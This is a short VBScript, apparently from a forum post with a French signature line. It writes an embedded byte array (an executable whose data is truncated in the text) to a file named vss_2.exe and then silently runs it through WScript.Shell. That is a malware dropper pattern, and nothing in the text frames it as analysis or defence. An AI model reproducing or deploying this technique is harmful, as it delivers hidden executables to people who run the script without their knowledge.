dim filesys, filetxt, getname, path, textfile, i
textfile = "vss_2.exe"
Set filesys = CreateObject("Scripting.FileSystemObject" )
Set filetxt = filesys.CreateTextFile(textfile, True)
getname = filesys.GetFileName(path)
dim a
a=Array(77,...}
for i=0 to 26218
filetxt.Write(chr(a(i)))
next
filetxt.Close
dim z
dim zz
Const ForReading = 1, ForWriting = 2, ForAppending = 3
const RemoteExe = "vss_2.exe"
set zz = wscript.createobject("wscript.shell" )
z = zz.run ("vss_2.exe" )
wscript.quit
---------------
Membre du Front de Libération de Datoune | Soutenez le FLD | A Tribute To Datoune